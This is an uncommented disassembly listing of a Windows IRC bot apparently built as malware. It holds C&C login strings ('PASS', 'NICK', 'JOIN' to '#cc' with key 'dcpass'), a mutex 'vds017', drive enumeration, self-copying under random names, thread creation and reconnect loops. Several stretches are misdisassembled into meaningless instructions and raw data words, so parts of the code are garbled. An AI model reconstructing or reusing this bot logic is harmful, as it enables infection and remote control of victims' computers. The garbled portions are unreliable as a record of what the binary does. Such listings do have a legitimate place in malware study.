push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_4157E0
push edx
push eax
call sub_40A6A6
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_413B2A
add esp, 18h
pop ebx
jmp short loc_40A8BD
; ---------------------------------------------------------------------------
loc_40A88E: ; CODE XREF: sub_40A7B6+2Cj
; sub_40A7B6+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_4135AD
lea eax, [ebp+var_118]
push esi
push eax
call sub_4135AD
lea eax, [ebp+var_98]
push esi
push eax
call sub_4135AD
add esp, 18h
loc_40A8BD: ; CODE XREF: sub_40A7B6+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40A7B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8D1 proc near ; CODE XREF: sub_40A9A3+17p
; sub_40A9A3+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40A7B6
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_4139D0
add esp, 10h
test eax, eax
jnz short loc_40A944
push ebx
push ebx
call sub_40A725
pop ecx
push eax
push offset dword_4281C8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_413B2A
add esp, 14h
jmp short loc_40A978
; ---------------------------------------------------------------------------
loc_40A944: ; CODE XREF: sub_40A8D1+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40A725
pop ecx
push eax
push offset dword_428178
lea eax, [ebp+var_500]
push 200h
push eax
call sub_413B2A
add esp, 20h
loc_40A978: ; CODE XREF: sub_40A8D1+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
lea eax, [ebp+var_500]
push eax
call sub_409615
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40A8D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9A3 proc near ; CODE XREF: seg000:00410575p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40A9C4
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40A8D1
add esp, 10h
jmp short loc_40AA25
; ---------------------------------------------------------------------------
loc_40A9C4: ; CODE XREF: sub_40A9A3+9j
push esi
push edi
push ebx
push ebx
call ds:dword_42F678
lea esi, [eax+2]
push esi
call sub_413E5F
pop ecx
mov edi, eax
push edi
push esi
call ds:dword_42F678
cmp [edi], bl
mov esi, edi
jz short loc_40AA1C
loc_40A9E8: ; CODE XREF: sub_40A9A3+77j
push offset aA_0 ; "A:\\"
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40AA0B
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40A8D1
add esp, 10h
loc_40AA0B: ; CODE XREF: sub_40A9A3+54j
push esi
call sub_413DB0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_40A9E8
loc_40AA1C: ; CODE XREF: sub_40A9A3+43j
push edi
call sub_413ED3
pop ecx
pop edi
pop esi
loc_40AA25: ; CODE XREF: sub_40A9A3+1Fj
pop ebx
pop ebp
retn
sub_40A9A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA28 proc far ; DATA XREF: seg000:0040AB24o
var_25C = byte ptr -25Ch
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push ds:dword_4348A4
call ds:dword_42F7A0
call sub_413222
call ds:dword_42F668
call ds:dword_42F668
mov ebx, ds:dword_41F058
push 64h
call ebx ; dword_41F058
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_413630
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_413630
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_42E348
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 0A70000h
retf
sub_40AA28 endp
; ---------------------------------------------------------------------------
dw 858Dh
dd 0FFFFFEA8h, 0E8575056h, 665550h, 0F0458DFDh, 0AC458D50h
dd 0A4858D50h, 50FFFFFDh, 6A286A57h, 858D5701h, 0FFFFFEA8h
dd 0E8575057h, 66552Ch, 74C08596h, 0FF646A14h, 0F075FFD3h
dd 0F070358Bh, 0D6FF0041h, 0FFF475FFh, 10458BD6h, 0B080C7h
dd 3B100000h, 48B0043h, 0A36424h, 83000000h, 0FF5708C4h
dd 41F10415h, 5B5E5F00h
; ---------------------------------------------------------------------------
loc_40AB10: ; CODE XREF: seg000:00415C51p
push ebp
mov ebp, esp
sub esp, 98Ch
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-10h], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-8], offset sub_40AA28
push dword ptr [ebp-8]
push large dword ptr fs:0
mov large fs:0, esp
cmp ds:dword_428230, ebx
jz short loc_40AB49
call sub_408445
loc_40AB49: ; CODE XREF: seg000:0040AB42j
mov esi, ds:dword_41F044
call esi ; dword_41F044
xor edx, edx
mov ecx, 3E8h
div ecx
mov ds:dword_45DB88, eax
call esi ; dword_41F044
push eax
call sub_4135FF
pop ecx
call sub_406E9A
push 2
call ds:dword_42F7B4
push 7530h
push offset aVds017 ; "vds017"
push ebx
push ebx
call near ptr 0A70000h
fst dword ptr [eax-18h]
jnb short near ptr loc_40ABDC+3
db 66h
add bl, dl
cmp eax, 102h
jnz short loc_40AB9D
push 1
call ds:dword_41F104 ; ExitProcess
loc_40AB9D: ; CODE XREF: seg000:0040AB93j
lea eax, [ebp-888h]
push eax
push 202h
call ds:dword_42F680
cmp eax, ebx
mov [ebp-8], eax
jnz loc_40B072
cmp byte ptr [ebp-888h], 2
jnz loc_40B06C
xor eax, eax
mov al, [ebp-887h]
cmp al, 2
jnz loc_40B06C
mov esi, 104h
loc_40ABDC: ; CODE XREF: seg000:0040AB89j
lea eax, [ebp-3F4h]
push esi
push eax
call near ptr 0A70000h
fmul dword ptr [ebp-2EF7Bh]
call dword ptr [esi+50h]
push ebx
call near ptr 0A70000h
scasb
push eax
call near ptr 0A70000h
cmpsb
lea eax, [ebp-5F8h]
push eax
lea eax, [ebp-6F8h]
push eax
push ebx
lea eax, [ebp-2F0h]
push ebx
push eax
call sub_4153D8
lea eax, [ebp-5F8h]
push eax
lea eax, [ebp-6F8h]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp-4F8h]
push esi
push eax
call sub_413B2A
lea eax, [ebp-3F4h]
push eax
lea eax, [ebp-2F0h]
push eax
call sub_413B80
add esp, 30h
test eax, eax
jnz loc_40AE00
cmp ds:dword_45DCF8, ebx
mov esi, offset byte_428290
jz short loc_40AC98
push esi
xor edi, edi
call sub_413DB0
sub eax, 4
pop ecx
jz short loc_40AC98
loc_40AC75: ; CODE XREF: seg000:0040AC96j
call sub_413609
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov ds:byte_428290[edi], dl
inc edi
call sub_413DB0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40AC75
loc_40AC98: ; CODE XREF: seg000:0040AC65j
; seg000:0040AC73j
lea eax, [ebp-3F4h]
push esi
push eax
lea eax, [ebp-1ECh]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4135AD
add esp, 10h
lea eax, [ebp-1ECh]
push eax
call ds:dword_41F07C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short near ptr loc_40ACD7+1
lea eax, [ebp-1ECh]
push 80h
push eax
call near ptr 0A70000h
loc_40ACD7: ; CODE XREF: seg000:0040ACC4j
lea ecx, [ebx+41F11435h]
add [ebp-1EB7Bh], cl
call dword ptr [ebx+50h]
lea eax, [ebp-2F0h]
xor edi, edi
push eax
loc_40ACEF: ; CODE XREF: seg000:0040AD26j
call esi ; byte_428290
test eax, eax
jnz short loc_40AD28
call ds:dword_41F068 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40AD28
cmp eax, 20h
jz short loc_40AD09
cmp eax, 5
jnz short loc_40AD28
loc_40AD09: ; CODE XREF: seg000:0040AD02j
push 1
pop edi
push 3A98h
call ds:dword_41F058 ; Sleep
lea eax, [ebp-1ECh]
push ebx
push eax
lea eax, [ebp-2F0h]
push eax
jmp short loc_40ACEF
; ---------------------------------------------------------------------------
loc_40AD28: ; CODE XREF: seg000:0040ACF3j
; seg000:0040ACFDj ...
lea eax, [ebp-1ECh]
push eax
call sub_4081F7
pop ecx
lea eax, [ebp-1ECh]
push 7
push eax
call near ptr 0A70000h
pusha
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_413630
push 44h
lea eax, [ebp-68h]
pop esi
push esi
push ebx
push eax
call sub_413630
add esp, 18h
mov [ebp-68h], esi
mov dword ptr [ebp-5Ch], offset byte_42E348
mov [ebp-38h], bx
push 1
pop esi
mov [ebp-3Ch], esi
call near ptr 0A70000h
xor al, 50h
push esi
push 100000h
call near ptr 0A70000h
retn 8D8Dh
; ---------------------------------------------------------------------------
dw 0FD10h
dd 5051FFFFh, 0FE14858Dh, 8D50FFFFh, 0FFF67485h, 849868FFh
dd 0E8500042h, 8805h, 8D14C483h, 8D50DC45h, 8D509845h
dd 0FFFC0C85h, 6A5350FFh, 8D535628h, 0FFF67485h, 8D5053FFh
dd 0FFFE1485h, 2DE850FFh, 8D006652h, 2874C085h, 0C868h
dd 5815FF00h, 0FF0041F0h, 358BDC75h, 41F070h, 75FFD6FFh
dd 0FFD6FFE0h, 42F66815h, 15FF5300h, 41F104h
; ---------------------------------------------------------------------------
loc_40AE00: ; CODE XREF: seg000:0040AC54j
cmp ds:dword_45E820, 2
jle short loc_40AE4C
mov eax, ds:dword_45E824
push dword ptr [eax+4]
call sub_413B1F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call near ptr 0A70000h
pop esi
push esi
call ds:dword_41F070 ; CloseHandle
mov eax, ds:dword_45E824
cmp [eax+8], ebx
jz short loc_40AE4C
push 7D0h
call ds:dword_41F058 ; Sleep
mov eax, ds:dword_45E824
push dword ptr [eax+8]
call near ptr 0A70000h
xchg eax, ecx
loc_40AE4C: ; CODE XREF: seg000:0040AE07j
; seg000:0040AE31j
cmp ds:dword_428238, ebx
jz short loc_40AE69
cmp ds:dword_42F7D8, ebx
jnz short loc_40AE69
lea eax, [ebp-4F8h]
push eax
call sub_409824
pop ecx
loc_40AE69: ; CODE XREF: seg000:0040AE52j
; seg000:0040AE5Aj
lea eax, [ebp-0E8h]
push offset dword_42846C
push eax
call sub_4135AD
push ebx
lea eax, [ebp-0E8h]
push ebx
push eax
call sub_413059
lea eax, [ebp-0E8h]
push eax
call sub_409615
push 0B80h
push ebx
push offset dword_433B18
call sub_413630
lea eax, [ebp-0E8h]
push offset unk_428430
push eax
call sub_4135AD
push ebx
lea eax, [ebp-0E8h]
push 1
push eax
call sub_413059
add esp, 38h
mov esi, eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F8h]
push ebx
push eax
push offset sub_409894
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_4348AC[esi], eax
jnz short loc_40AF0D
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-0E8h]
push offset unk_4283E0
push eax
call sub_4135AD
add esp, 0Ch
loc_40AF0D: ; CODE XREF: seg000:0040AEF0j
lea eax, [ebp-0E8h]
push eax
call sub_409615
call sub_413609
push 7Fh
push offset a1068346466 ; "1068346466"
push offset dword_45DB94
mov ds:dword_45DD0C, ebx
call sub_414DD0
mov eax, ds:dword_42821C
push 3Fh
mov edi, offset dword_45DC14
push offset aCc ; "#cc"
push edi
mov ds:dword_45DCE4, eax
call sub_414DD0
push 3Fh
mov esi, offset dword_45DC54
push offset aDcpass ; "dcpass"
push esi
call sub_414DD0
add esp, 28h
mov ds:dword_45DCE8, ebx
loc_40AF6C: ; CODE XREF: seg000:0040B012j
; seg000:0040B01Dj ...
mov [ebp-4], ebx
loc_40AF6F: ; CODE XREF: seg000:0040AFC6j
cmp ds:dword_42F7F0, ebx
jnz short loc_40AF8D
lea eax, [ebp-14h]
push ebx
push eax
call ds:dword_42F64C
test eax, eax
jnz short loc_40AF8D
push 7530h
jmp short loc_40AFB9
; ---------------------------------------------------------------------------
loc_40AF8D: ; CODE XREF: seg000:0040AF75j
; seg000:0040AF84j
push offset dword_45DB90
mov ds:dword_45DD08, ebx
call sub_40B07B
cmp eax, 2
mov [ebp-8], eax
jz loc_40B067
cmp ds:dword_45DD08, ebx
jz short loc_40AFB4
dec dword ptr [ebp-4]
loc_40AFB4: ; CODE XREF: seg000:0040AFAFj
push 0BB8h
loc_40AFB9: ; CODE XREF: seg000:0040AF8Bj
call ds:dword_41F058 ; Sleep
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_40AF6F
cmp dword ptr [ebp-8], 2
jz loc_40B067
cmp [ebp-0Ch], ebx
jz short loc_40B017
push 7Fh
push offset a1068346466 ; "1068346466"
push offset dword_45DB94
call sub_414DD0
mov eax, ds:dword_42821C
push 3Fh
push offset aCc ; "#cc"
push edi
mov ds:dword_45DCE4, eax
call sub_414DD0
push 3Fh
push offset aDcpass ; "dcpass"
push esi
call sub_414DD0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_40AF6C
; ---------------------------------------------------------------------------
loc_40B017: ; CODE XREF: seg000:0040AFD5j
cmp ds:byte_428278, bl
jz loc_40AF6C
push 7Fh
push offset byte_428278
push offset dword_45DB94
call sub_414DD0
mov eax, ds:dword_428220
push 3Fh
push offset aCc_0 ; "#cc"
push edi
mov ds:dword_45DCE4, eax
call sub_414DD0
push 3Fh
push offset aDcpass_0 ; "dcpass"
push esi
call sub_414DD0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_40AF6C
; ---------------------------------------------------------------------------
loc_40B067: ; CODE XREF: seg000:0040AFA3j
; seg000:0040AFCCj
call sub_413222
loc_40B06C: ; CODE XREF: seg000:0040ABC1j
; seg000:0040ABD1j
call ds:dword_42F668
loc_40B072: ; CODE XREF: seg000:0040ABB4j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B07B proc near ; CODE XREF: seg000:0040AF98p
; DATA XREF: seg000:0040ED32o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40B0A0: ; CODE XREF: sub_40B07B+E6j
; sub_40B07B+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_413630
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call ds:dword_42F708
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_408503
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40B1CD
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_413630
push 0
lea eax, [ebp+var_2C]
push ds:dword_45DCFC
push ds:dword_428244
push eax
call sub_412797
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_4348B0
push edi
push eax
call sub_414DD0
add esp, 28h
push 6
push 1
push 2
call ds:dword_42F788
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov ds:dword_4348A4[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_42F6B0
cmp eax, 0FFFFFFFFh
jnz short loc_40B166
push esi
call ds:dword_42F7A0
call sub_40852C
push 7D0h
loc_40B15B: ; CODE XREF: sub_40B07B+146j
call ds:dword_41F058 ; Sleep
jmp loc_40B0A0
; ---------------------------------------------------------------------------
loc_40B166: ; CODE XREF: sub_40B07B+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_4284A4
call sub_409689
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40B1E3
add esp, 28h
mov edi, eax
push esi
call ds:dword_42F7A0
test edi, edi
jz loc_40B0A0
cmp edi, 1
jnz short loc_40B1C3
push 0DBBA0h
jmp short loc_40B15B
; ---------------------------------------------------------------------------
loc_40B1C3: ; CODE XREF: sub_40B07B+13Fj
cmp edi, 2
jz short loc_40B1D1
jmp loc_40B0A0
; ---------------------------------------------------------------------------
loc_40B1CD: ; CODE XREF: sub_40B07B+5Aj
xor eax, eax
jmp short loc_40B1DD
; ---------------------------------------------------------------------------
loc_40B1D1: ; CODE XREF: sub_40B07B+14Bj
push [ebp+var_34]
call sub_413375
pop ecx
push 2
pop eax
loc_40B1DD: ; CODE XREF: sub_40B07B+154j
pop edi
pop esi
leave
retn 4
sub_40B07B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1E3 proc near ; CODE XREF: sub_40B07B+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_413E30
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40B201: ; CODE XREF: sub_40B1E3+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40B201
cmp ds:byte_45DD00, bl
jz short loc_40B228
push offset byte_45DD00
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_41106A
add esp, 0Ch
loc_40B228: ; CODE XREF: sub_40B1E3+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_412797
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_4135AD
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call ds:dword_42F758
cmp eax, 0FFFFFFFFh
jnz short loc_40B292
push [ebp+arg_0]
call ds:dword_42F7A0
push 1388h
call ds:dword_41F058 ; Sleep
loc_40B28B: ; CODE XREF: sub_40B1E3+D9j
; sub_40B1E3+153j
xor eax, eax
loc_40B28D: ; CODE XREF: sub_40B1E3+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40B292: ; CODE XREF: sub_40B1E3+92j
; sub_40B1E3+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_42F720
test eax, eax
jle short loc_40B28B
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_407EE3
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40B292
lea edi, [ebp+var_A10]
loc_40B2E3: ; CODE XREF: sub_40B1E3+165j
push 1
pop esi
loc_40B2E6: ; CODE XREF: sub_40B1E3+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call loc_40B35B
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40B329
push 7D0h
call ds:dword_41F058 ; Sleep
jmp short loc_40B2E6
; ---------------------------------------------------------------------------
loc_40B329: ; CODE XREF: sub_40B1E3+137j
cmp esi, 0FFFFFFFDh
jz short loc_40B353
cmp esi, 0FFFFFFFEh
jz short loc_40B34F
cmp esi, 0FFFFFFFFh
jz loc_40B28B
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40B2E3
jmp loc_40B292
; ---------------------------------------------------------------------------
loc_40B34F: ; CODE XREF: sub_40B1E3+14Ej
push 1
jmp short loc_40B355
; ---------------------------------------------------------------------------
loc_40B353: ; CODE XREF: sub_40B1E3+149j
push 2
loc_40B355: ; CODE XREF: sub_40B1E3+16Ej
pop eax
jmp loc_40B28D
sub_40B1E3 endp
; ---------------------------------------------------------------------------
loc_40B35B: ; CODE XREF: sub_40B1E3+12Ap
push ebp
mov ebp, esp
mov eax, 159Ch
call sub_413E30
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
mov dword ptr [ebp-0ACh], 3
mov [ebp-10h], ebx
mov [ebp-98h], ebx
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [ebp-0C8h], ebx
call sub_413630
push 1Bh
lea eax, [ebp-564h]
push dword ptr [ebp+18h]
push eax
call sub_414DD0
add esp, 18h
cmp [ebp+8], ebx
jz loc_40B71F
push esi
lea eax, [ebp-0F9Ch]
push ebx
push eax
call sub_413630
dec esi
lea eax, [ebp-0F9Ch]
push esi
push dword ptr [ebp+8]
push eax
call sub_414DD0
lea eax, [ebp-0F9Ch]
push offset asc_42B904 ; " :"
push eax
call sub_413B80
mov [ebp-0Ch], eax
lea eax, [ebp-0F9Ch]
push esi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_414DD0
mov esi, offset asc_422D6C ; " "
lea eax, [ebp-119Ch]
push esi
push eax
call sub_414D28
add esp, 34h
mov [ebp-94h], eax
lea edi, [ebp-90h]
mov dword ptr [ebp-0A8h], 1Fh
loc_40B42E: ; CODE XREF: seg000:0040B442j
push esi
push ebx
call sub_414D28
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp-0A8h]
pop ecx
jnz short loc_40B42E
mov esi, [ebp-94h]
cmp esi, ebx
jz loc_40B71F
cmp [ebp-90h], ebx
jz loc_40B71F
push 100h
lea eax, [ebp-0A14h]
push ebx
push eax
call sub_413630
add esp, 0Ch
lea ecx, [ebp-18h]
push 1Fh
pop edx
push 1
pop edi
loc_40B47C: ; CODE XREF: seg000:0040B4AEj
mov eax, [ecx]
cmp eax, ebx
jz short loc_40B4A8
cmp byte ptr [eax], 2Dh
jnz short loc_40B4B0
cmp [eax+2], bl
jnz short loc_40B4B0
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov byte ptr [ebp+esi-0A14h], 1
mov esi, [ebp-94h]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40B4A8: ; CODE XREF: seg000:0040B480j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40B47C
loc_40B4B0: ; CODE XREF: seg000:0040B485j
; seg000:0040B48Aj
cmp [ebp-9A1h], bl
jz short loc_40B4BB
mov [ebp-8], edi
loc_40B4BB: ; CODE XREF: seg000:0040B4B6j
cmp [ebp-9A6h], bl
jz short loc_40B4C9
mov [ebp-8], ebx
mov [ebp-4], edi
loc_40B4C9: ; CODE XREF: seg000:0040B4C1j
cmp byte ptr [esi], 0Ah
jz short loc_40B503
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_414DD0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp-0C4h]
push eax
call sub_414DD0
lea eax, [ebp-0C4h]
push offset asc_42B900 ; "!"
push eax
call sub_414D28
add esp, 20h
loc_40B503: ; CODE XREF: seg000:0040B4CCj
push esi
push offset aPing ; "PING"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B554
push dword ptr [ebp-90h]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
mov eax, [ebp+28h]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40B5F8
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
add esp, 10h
jmp loc_40B5F8
; ---------------------------------------------------------------------------
loc_40B554: ; CODE XREF: seg000:0040B512j
mov esi, [ebp-90h]
push esi
push offset a001 ; "001"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_411024
push esi
push offset a005 ; "005"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_411024
push esi
push offset a302 ; "302"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B5BF
push offset a@ ; "@"
push dword ptr [ebp-88h]
call sub_413B80
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40B5F8
inc eax
push 9Fh
push eax
push dword ptr [ebp+24h]
call sub_414DD0
add esp, 0Ch
jmp short loc_40B5F8
; ---------------------------------------------------------------------------
loc_40B5BF: ; CODE XREF: seg000:0040B593j
push esi
push offset a433 ; "433"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B5FF
push ebx
push ds:dword_45DCFC
push ds:dword_428244
push dword ptr [ebp+18h]
call sub_412797
push dword ptr [ebp+18h]
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
add esp, 1Ch
loc_40B5F8: ; CODE XREF: seg000:0040B533j
; seg000:0040B54Fj ...
mov eax, edi
jmp loc_40B722
; ---------------------------------------------------------------------------
loc_40B5FF: ; CODE XREF: seg000:0040B5CEj
mov esi, [ebp+20h]
mov dword ptr [ebp-0A8h], 2
mov edi, 80h
loc_40B611: ; CODE XREF: seg000:0040B636j
lea eax, [ebp-0A94h]
push eax
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B62E
mov dword ptr [ebp-98h], 1
loc_40B62E: ; CODE XREF: seg000:0040B622j
add esi, edi
dec dword ptr [ebp-0A8h]
jnz short loc_40B611
mov esi, [ebp-90h]
push esi
push offset aKick ; "KICK"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40B727
mov esi, [ebp+20h]
mov dword ptr [ebp+2Ch], 2
loc_40B65D: ; CODE XREF: seg000:0040B6EAj
cmp [esi], bl
jz loc_40B6E5
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_414DD0
lea eax, [ebp-0C4h]
add esp, 0Ch
test eax, eax
jz short loc_40B6E5
cmp [ebp-88h], ebx
jz short loc_40B6E5
push dword ptr [ebp-88h]
lea eax, [ebp-0C4h]
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B6E5
lea eax, [ebp-0C4h]
mov [esi], bl
push eax
lea eax, [ebp-2C8h]
push offset dword_42B880
push eax
call sub_4135AD
lea eax, [ebp-2C8h]
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
lea eax, [ebp-2C8h]
push eax
call sub_409615
add esp, 20h
loc_40B6E5: ; CODE XREF: seg000:0040B65Fj
; seg000:0040B67Fj ...
add esi, edi
dec dword ptr [ebp+2Ch]
jnz loc_40B65D
push dword ptr [ebp-88h]
push dword ptr [ebp+18h]
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B71F
push dword ptr [ebp+14h]
mov eax, [ebp+28h]
push dword ptr [ebp+10h]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40B714: ; CODE XREF: seg000:0040B970j
; seg000:0040BCC7j
push dword ptr [ebp+0Ch]
call sub_41106A
loc_40B71C: ; CODE XREF: seg000:0041055Dj
; seg000:0041057Aj ...
add esp, 10h
loc_40B71F: ; CODE XREF: seg000:0040B3B6j
; seg000:0040B44Cj ...
push 1
loc_40B721: ; CODE XREF: seg000:00410AA4j
pop eax
